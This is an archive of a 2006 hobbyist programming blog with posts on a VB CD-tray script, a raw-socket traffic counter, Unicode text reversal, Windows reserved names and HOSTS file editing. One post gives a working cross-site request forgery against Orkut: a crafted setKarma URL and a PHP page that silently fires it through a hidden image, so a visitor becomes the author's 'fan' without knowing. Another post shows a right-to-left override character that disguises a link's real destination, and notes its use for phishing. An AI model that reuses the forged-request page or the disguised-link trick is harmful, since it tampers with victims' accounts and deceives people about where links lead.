Friday, November 24, 2006

Opening/Closing of CD Drive from VB

Opening and closing of the CD drive can be achieved easily in visual basic by the following code


Private Declare Function mciSendString Lib "winmm.dll" _
Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Dim strReturn As String

Public Sub OpenCDDrive() 'Call me to open the CD Drive
Call mciSendString("set CDAudio door open", strReturn, 127, 0)
End Sub

Public Sub CloseCDDrive() 'Call me to close the CD Drive
Call mciSendString("set CDAudio door closed", strReturn, 127, 0)
End Sub


mciSendString is an alias of function mciSendStringA in winmm.dll

I guess the code speaks for itself. (Tested on XP, VB6).

Related:
In Linux, from the command line:

To open the drive:
eject DriveNameHere

To close the drive:
eject -t DriveNameHere

If your not sure what the drive name is, just look in /etc/fstab:
cat /etc/fstab

In my case I would use:
eject /media/cdrom
and
eject -t /media/cdrom

Tuesday, November 21, 2006

Network Traffic Calculator using VC++ 6 on XP

An Introduction
This is a simple VC++ (made in 6) program that calculates the total number of bytes transfered in a network connection. Made in and tested for Windows XP.

main.cpp


/*
Network Traffic Calculator
(c) digitalpbk.blogspot.com
*/


#include <windows.h>
#include <wingdi.h>
#include <protocol.h>
#include <stdio.h>

#define REGULAR 0
#define BOLD 1
#define ITALIC 2
#define ULINE 3

void getInterfaceList(char list[][17],int max);
int ConnectSock(char sck[],int port,HWND hwnd);
void processData(char[]);

HWND txtW;

HFONT GetAFont(int fnFont);

typedef struct _DATA // our datatransfer structure.
{
int mb;
int kb;
int bytes;
}BITDATA;

BITDATA recd,sent,total;
SOCKET gSokt;

BITDATA Add(BITDATA b1,BITDATA b2) // adds bytes to our data structure
{
BITDATA ret;
ret.bytes = b1.bytes + b2.bytes;
ret.kb = b1.kb + b2.kb;
ret.mb = b1.mb + b2.mb;

if(ret.bytes >= 1024)
{
ret.bytes = 0;
ret.kb ++;
}
if(ret.kb >=1024)
{
ret.mb ++;
ret.kb =0;
}
return ret;
}
BITDATA Add(BITDATA b1,int bytes)
{
BITDATA ret=b1;
ret.bytes += bytes;
if(ret.bytes >= 1024)
{
ret.bytes = 0;
ret.kb ++;
}
if(ret.kb >=1024)
{
ret.mb ++;
ret.kb =0;
}
return ret;
}

long FAR PASCAL WndProc( HWND hwnd,UINT msg,UINT wParam, LONG lParam )
{
PAINTSTRUCT ps;
RECT rc;
HDC hdc;


int x;
static si=48;
si++;
char bfr[60]={si,0},num[6];

long l;

switch(msg)
{

case 0x401: // network event detected.
if(lParam == FD_READ)
{
x=0;
char *bufr=new char[10000];
do
{
x=recv(wParam,bufr,10000,0);
processData(bufr);
}while(x==10000);
delete bufr;
}
case WM_PAINT:

hdc=BeginPaint(hwnd,&ps);

strcpy(bfr ,"Data S/R: ");
itoa(total.mb,num,10);
strcat(bfr,num);
strcat(bfr,".");

itoa(total.kb,num,10);
strcat(bfr,num);
strcat(bfr,".");

itoa(total.bytes,num,10);
strcat(bfr,num);

l=strlen(bfr);
SetWindowText(txtW,bfr);

EndPaint(hwnd,&ps);
return 0;
case WM_DESTROY:
WSAAsyncSelect(gSokt,hwnd,0x401,0);
closesocket(gSokt);
if(WSAIsBlocking())WSACancelBlockingCall();
WSACleanup();

PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd,msg,wParam,lParam);
}

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpszCmdParam,int nCmdShow) //Windows Main
{
/*standard win32 application init*/
static char szAppName[] = "Traffic Analyzer";
HWND hwnd;
MSG msg;
WNDCLASS wc;

if(!hPrevInstance)
{
wc.style = CS_HREDRAW | CS_VREDRAW;
wc.lpfnWndProc = WndProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = hInstance;
wc.hIcon = LoadIcon(NULL,IDI_WARNING);
wc.hCursor = LoadCursor(NULL,IDC_ARROW);
wc.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH);
wc.lpszMenuName = NULL;
wc.lpszClassName = szAppName;
RegisterClass(&amb;wc);
}
/*gets network addresses*/
char localaddr[5][17];
if(getInterfaceList(localaddr,5))
return 1;
char szTitle[100]="Traffic Calc on ";
strcat(szTitle,localaddr[0]);
/*window creation
hwnd = CreateWindowEx(WS_EX_TOOLWINDOW|WS_EX_TOPMOST,szAppName,szTitle,WS_SYSMENU,CW_USEDEFAULT,CW_USEDEFAULT,240,40,NULL,NULL,hInstance,NULL);

HWND hwndTxtOut=CreateWindow("EDIT","Usage Stats loading....",WS_CHILD|WS_VISIBLE,0,0,240,20,hwnd,NULL,hInstance ,NULL);
txtW = hwndTxtOut;

gSokt = ConnectSock(localaddr[0],7000,hwnd);

ShowWindow(hwnd,nCmdShow);
UpdateWindow( hwnd );

/*Window Procedure Loop
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

return msg.wParam;
}

void processData(char data[])
{
IP_HEADER iphead;
memcpy(&iphead,data,sizeof(iphead)); //gets the Length of each packet
total = Add(total,ntohs(iphead.length)); // adds with previous results
}


winsocks.cpp

/*winsocks.cpp
(c) digitalpbk.blogspot.com
*/


#include <winsock2.h>
#include <WS2TCPIP.H>

int getInterfaceList(char list[][17],int max) // gets all network connections
{
WORD wVs = MAKEWORD(2,2);
WSADATA wsaData;


int err=WSAStartup(wVs,&wsaData);
if(err!=0)
return err;

long lnRes;
SOCKET Sock;
unsigned long lnBytesReturned;
INTERFACE_INFO buffer[7];
//start up winsock

Sock = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

lnRes = WSAIoctl(Sock, SIO_GET_INTERFACE_LIST,0, 0,&buffer, 1024, &lnBytesReturned,0, 0);

if(lnRes)
return WSAGetLastError();

for(int i=0u;i<lnBytesReturned/76;i++)
{
if(i<max)strcpy(list[i],inet_ntoa(buffer[i].iiAddress.AddressIn.sin_addr));
}
closesocket(Sock);
return 0;
}
int ConnectSock(char sck[],int port,HWND hwnd)
{
WORD wVs = MAKEWORD(2,2);
WSADATA wsaData;

int err=WSAStartup(wVs,&wsaData);
if(err!=0)
return INVALID_SOCKET;

SOCKADDR_IN sin;

sin.sin_family = AF_INET;
sin.sin_port = htons(port);

if(sin.sin_port == INVALID_SOCKET)
return INVALID_SOCKET;
unsigned long iret = inet_addr(sck);
memcpy(&sin.sin_addr,&iret,4);

SOCKET s=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
if(s<0)return INVALID_SOCKET;
long TIMEO = 5000;
err = setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&TIMEO,4);
if(err)
{
if(s>0)closesocket(s);
return INVALID_SOCKET;
}
err = bind(s,(sockaddr *)&sin,sizeof(sin));
if(err)
{
if(s>0)closesocket(s);
return INVALID_SOCKET;
}
unsigned long retd;
long lnInpBufr=1,lnOutBufr=0;

err = WSAIoctl(s,0x98000001,&lnInpBufr,sizeof(long),&lnOutBufr,sizeof(long),&retd,NULL,NULL);
if(err)
{
if(s>0)closesocket(s);
return INVALID_SOCKET;
}
err = WSAAsyncSelect(s,hwnd,0x401,FD_READ);
if(err)
{
if(s>0)closesocket(s);
return INVALID_SOCKET;
}
return s;
}

Dont know what to do with the code?
Take VC++ 6,
File > New, In Projects tab, new Win32 Application, give a name also like "trafficcalc",
Choose empty project.
Next File > New, In Files tab, take C++ source file, give filename "main.cpp"
repeat the step for filename "winsocks.cpp"
Copy the sources to the files.
Save and Execute!

Download the full source with Workspace files from planet-source-code.com

Anything else?
leave a comment...

Saturday, November 18, 2006

Fun with UNICODE and Mirroring Character

What is UNICODE?


Everything you see on your computer is represented by 0's and 1's. Characters are also encoded in the form of 0's and 1's. In this method each character is represented by a number. A common method of encoding is called ASCII (American Standard for Information Interchange). In this method each character is represented by 8 bits. Therefore 256 different characters can be represented using this method. But 256 characters is not enough to mention all characters in all languages. Here comes UNICODE, in which each character is represented by 16 bits. Therefore in this method of encoding, 65536 characters can be represented.
For more information about UNICODE and its applictions visit Unicode.org


Whats interesting?


Unicode is capable of representing many languages, including those written from left to right and those written from right to left. There are special characters in UNICODE to achieve the RTL. One such character is the Mirroring character. The property of mirroring character is that it makes Left to Right Text, Right to Left just by pasting the character, all text after it becomes RTL. So it can be used on sites which use UNICODE character encoding format (like orkut). The property of the mirroring character is that it reverses whatever you paste after it. So "[mirror char]hello, how are you?" becomes "?ouy era woh ,olleh".
Mirror character has nothing to display, so you cant see a mirror character.
One thing to note that is the mirroring character is not rendered on all browsers. It is supported on Firefox, Opera, IE7 (partially). If anyone has any info about other browsers please leave a comment.
Effect of using a mirroring character on orkut with the profile name is shown below:

Note that the word "scrapbook" is inversed. There is more of it left for you to explore and find out ...
Mirroring character also works on some Instant Messengers like Google Talk and Yahoo! Messenger, on which you can send reversed sentences very easily, making a feeling that you can type reversed.


See for yourself


If your are using a browser such as Firefox which renders the unicode mirroring character the following text(in the gray box) will appear reversed:

‮‮
The unicode mirroring character was used to
reverse this text. If it still appears normal
then, your browser does not render mirroring
character or worse do not support UNICODE!
If you are seeing this normally then there
is no point in continuing. Get a browser like firefox that
supports unicode.


Want the mirroring character?


The mirroring character cannot be seen and I couldnot find the HEX or Numeric Code. If anyone has found out leave a comment.
The mirroring character is within these braces
(‮‮( 

Inorder to get the mirroring character, try copying the content between the braces and paste it somewhere to see the magic! ...

What can it be used for?


‮‮http://www.mysite.com/fol/file.html?site/moc.elgoog.www://ptth
Suppose you paste a link like this and if someone clicks he/she goes to mysite.com instead of google.com. This could be used on sites like orkut.com which doesn't allow you to hide the url of the link you are giving.
So it could be potentially used for phishing !Inorder to protect yourself from such methods always look at the url beofre you give away senstitive information about yourself.
Other potential uses are left for you to explore. If you find anything interesting please let me know..

Guess you can take care of it from here on ...
Thats all folks.

Thanks to
Vineeth Mohan for giving me the mirroring character.

Caution!
This trick can potentially be used for phishing! So please always look at the Address Bar for the URL of the page and verify it is the right site you want to visit! Please warn everyone you know about this risk.

Tuesday, November 14, 2006

How to make more fans on orkut?

Lets start by looking how you get a fan normally. You get a fan when one of your friends click the star near your name on the friends page.

Next let us see the inner workings of the "Fanning Process".

The "Star" that clicks has the following code .


<a href="javascript:setKarma('FRUS0012345678/US00987654321',
0,
1,
0);">
<img id="karma-FRUS00123456789/US00987654321-0-1"
alt="fan" title="fan" border="0"
src="http://images3.orkut.com/img/ok_0.gif"
width="15" height="15"></a>

Note the first argument 'FRUS0012345678/US00987654321'. This argument denotes unique code to each user on orkut. Your code is denoted by 'US0012345678' and your friends code is 'US00987654321'.

The next argument is used to denote the function.

0 is used for the fan function
1 is used for the trusty karma
2 is used for the cooool karma
3 is used for the sexy karma

The next argument denotes the new value of the karma and the last argument denotes the old value of the karma (used mainly for the trusty,cool and sexy karmas)
We can see that the function setKarma is invoked after clicking on the star.
function setKarma(...) :

function setKarma(linkId, typeIndex, newLevel, currentLevel) {
var mapIndex = "karma-"+linkId+"-"+typeIndex;
if (currentKarmaLevels[mapIndex] != null) {
currentLevel = currentKarmaLevels[mapIndex]
}
//if the user clicks on the current level, it turns it all off
if (newLevel == currentLevel) {
//turn everything off
newLevel = 0;
}
//set the images correctly
var levelIndex;
for (levelIndex = 1; levelIndex <= 3; levelIndex++) {
//fan (typeIndex 0) only has 1 level
if (levelIndex == 1 || typeIndex != 0) {
var name = "karma-"+linkId+"-"+typeIndex+"-"+levelIndex;
var img = document.getElementById(name);
//alert(img);
var prefix = ""
if (newLevel >= levelIndex) {
prefix = "ok_";
} else {
prefix = "nk_";
}
img.src="http://images3.orkut.com/img/"+prefix+typeIndex+".gif";
}
}
currentKarmaLevels[mapIndex] = newLevel;
//do the AJAX karma call
var request = "/setKarma?cat="+typeIndex+"&val="+newLevel+"&gid="+linkId;
sendRequest(request);
}

Leave the crap and focus on the line given in bold.The request variable evaluates to
"/setKarma?cat=0&val=1&gid=FRUS0012345678/US00987654321".

Next the request is sent as a GET request via ajax...


Now visit the url "http://www.orkut.com/setKarma?cat=0&val=1&gid=FR[your id here]/[friends id here]". After visiting check out your friends list to see that you have become the fan of your friend.


To get your and your friends ID view the source of the friends page scroll a little down and you can see a list of FRUSXXXXXXXX/USXXXXXXXXX. First one stands for the first friend shown on that page. You can verify that the FRUSXXXXXXXXXX is same. It is your id.

How do i get more fans?

Now to get you more fans, or to make your friend fan of you just interchange the id's that is make your friends ID first and your ID second as shown below:
US00123456789 = your id
US00000000000 = friends id
Change
FRUS00123456789/US00000000000
to
FRUS00000000000/US00123456789

Therefore the full link becomes: "http://www.orkut.com/setKarma?cat=0&val=1&gid=FR[friends id here]/[your id here]"
Eg: "http://www.orkut.com/setKarma? cat=0&val=1&gid=FRUS00000000000/US00123456789"

Now if your friend visits this link he/she becomes your fan!


Now you can give this link directly to your friend or can ingeniously hide it inside another webpage and give the link of that page to your friend...
Please note that your orkut friend must be signed into orkut for this to work. So either scrap him or message him through orkut the "Link" to ensure a success.

Although this method seems a little long, it works... each link you give to your friend will be unique so you cant do a mass forward,you will have to specifically craft the url for each friend.

Hope it works for you ...
Happy Orkutting

For advanced uses with knowledge in PHP and server access

You guys can make a PHP script that takes a GET argument the id of your friend, and embend a img or script such that a GET request is made to the correct url.

eg: http://www.yoursite.com/makefan.php?to=US1010101010

makefan.php:

<?php
if(isset($_GET["to"])){
$to = $_GET["to"];
}
else
{$to="US00000000";}
?>
<script>
function ld(){
var img=new Image();
img.src="http://www.orkut.com/setKarma?cat=0&val=1&gid=FR<?echo $to;?>/US00987654321";
window.top.location = "http://www.yoursite.com/somenicepage/";}</script>
<body onload="return ld();">



For more info leave a comment with mail id.

Monday, November 13, 2006

Why cant a folder be named "CON" or "LPT1" in windows?


File/Folder named CON or LPT1 on WINDOWS


G:\>mkdir CON
The directory name is invalid.

G:\>mkdir LPT1
The directory name is invalid.

G:\>mkdir LPT2
The directory name is invalid.

G:\>mkdir LPT9
The directory name is invalid.

Have you ever tried to make a folder or file named CON or LPT1 (in general LPTX X takes 1,2,3,...9)? If not try now and see that you cannot make a folder or file with those names. Have u already done? Read on ...

Why is this so?

Inorder to find out why this doesn't work we have to go back to the age of MS-DOS. Microsoft Disk Operating System (MS-DOS) is a command-line operating system that existed before the advent of GUI OS (Graphical User Interface). Everything from making ,renaming, deleting etc was done using commands. Some of the commands are

COPY Copies one or more files to another location.
DEL Deletes one or more files.
DIR Displays a list of files and subdirectories in a directory.
FIND Searches for a text string in a file or files.
.
.

Let us look more closely to the COPY command. The COPY command usage is as follows:
COPY [options] <source> [options] <destination>
In DOS everything is considered as files, even keyboard and printers. The filename for keyboard is given as "CON" and the printer names are given as "LPT1", "LPT2" etc.. So inorder to copy something from keyboard (our input) the following command is used.

G:\>COPY CON mydata.txt
These lines come in mydata.txt and inorder to stop input press Ctrl+Z
^Z

G:\>COPY mydata.txt LPT1



So now you suppose that a folder or file named "con" could be created and you give a COPY CON command. What is DOS supposed to do? copy the CON file or use the keyboard console as input? Thus an ambiguity arises. So Microsoft has purposely disabled making of files or folders named CON / LPT1 / LPT2 etc. in order to remove this ambiguity.

Could you make a CON or LPT1 .. file on WINDOWS?


Found more invalid names? Let me know .....
Invalid Name List

+ CON
+ LPT1, LPT2, LPT3, LPT4 ... LPT9
+ PRN
+ NUL
+ COM1, COM2, COM3 .... COM9

Sunday, November 12, 2006

About "HOSTS" File


Warning: Backup the file before playing with it!

What does this file do?

The HOSTS file found on Windows (and linux too) is like a local DNS (domain name server). When you type a url on the browsers address bar, the domain name is converted to the IP of the server by a DNS lookup by the browser. Now here is the catch ... Windows first looks at the HOSTS file before doing any DNS lookup. So we can block certain sites by editing the HOSTS file.


Where is it ? I dont see the HOSTS file

HOSTS file is found typically here ...

Windows XP    : C:\WINDOWS\SYSTEM32\DRIVERS\ETC
Windows 2K : C:\WINNT\SYSTEM32\DRIVERS\ETC
Windows 98/ME : C:\WINDOWS

Linux : /etc/



What is in this FILE?

HOSTS file is just a plain text file. So you can use any text editing software like notepad to edit the contents of the file.
Typical content of a HOSTS file is shown below :

# Copyright (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

127.0.0.1 localhost


The Lines followed by a # are comments and explains how to use the HOSTS file. 127.0.0.1 is the IP address that is used to loopback to your computer itself. So if you are running an apache or IIS server or anyother server software, you can access it by the url http://localhost or http://127.0.0.1

What now ?

Suppose you want to block some sites for example say you want to block "www.sicksite.com". All you have to do is add another line to the HOSTS file:
127.0.0.1       www.sicksite.com

Now what happens is whenever you try to visit "www.sicksite.com" it goes to the site on your localhost. For common people those who dont run any server, localhost is nowhere!


Why would i want to block sites ?

There are many parasitic servers out there on the internet, that track your movements while browsing. So if you want to protect yourself, include those sites on the HOSTS file.

A list of sites that is parasitic or is an ad serving site is given in
http://www.mvps.org/winhelp2002/hosts.txt
It is not recommended to copy the entire list to your local HOSTS file as it slows down the system. So choose ones that you think needs to be blocked.


What is this pop up about?

When you are saving the HOSTS file, a pop up may appear that asks you to confirm the changes to the HOSTS file. This pop up may or may not appear based on the OS, and other Anti-Virus Softwares you are running.


What else can I do with "HOSTS" file?

You can also make a site point to another site. By making an entry as follows :
72.14.207.99  www.mysearchengine.com  #72.14.207.99 google server ip

Now visiting "www.mysearchengine.com" takes you yo "www.google.com".

To find out IP address of sites visit:
If your are a webmaster, HOSTS file allows you to make subdomains within localhost (depends on server software and after configurations in it).

127.0.0.1 subdomain.localhost



Oops I screwed up ...

Restore the backup file if u have already done so
OR
Copy the sample HOSTS given above and save it.


Still confused? Have more queries?

If you are having more doubts, please feel free to leave a comment ....